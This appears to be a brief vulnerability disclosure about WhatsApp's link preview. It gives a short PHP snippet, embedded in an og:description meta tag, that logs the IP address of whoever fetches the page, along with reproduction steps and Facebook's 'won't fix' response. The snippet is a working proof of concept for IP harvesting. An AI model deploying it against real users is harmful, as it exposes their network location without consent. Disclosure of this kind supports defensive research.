Whatsapp user’s IP disclosure with Link Preview feature

Simple php code can disclose Whatsapp users ip and app version and save disclosed information to attackers server.

Step to reproduce:

  1. Create php file and log file on server : Put below code for og meta description :
<meta property="og:description" content="<?php
echo $_SERVER[REMOTE_ADDR]; $line = date(’Y-m-d H:i:s’) . " - $_SERVER[REMOTE_ADDR]";echo $line;
file_put_contents(’visitors.log’, $line . PHP_EOL, FILE_APPEND);?>" />

2. Save this php file.

3. Open whatsapp and type this php files url in whatsapp, when link preview generated you can see IP get captured and same time this IP write over log file on attackers server.

  • WhatsApp Screenshot of Link Preview
  • Server log for captured IP.

Reported to Facebook

They replied that :

Not optimal the other alternative would be disabling previews (which probably would make more of our users unhappy).

So this will be Won’t fix., Thanks.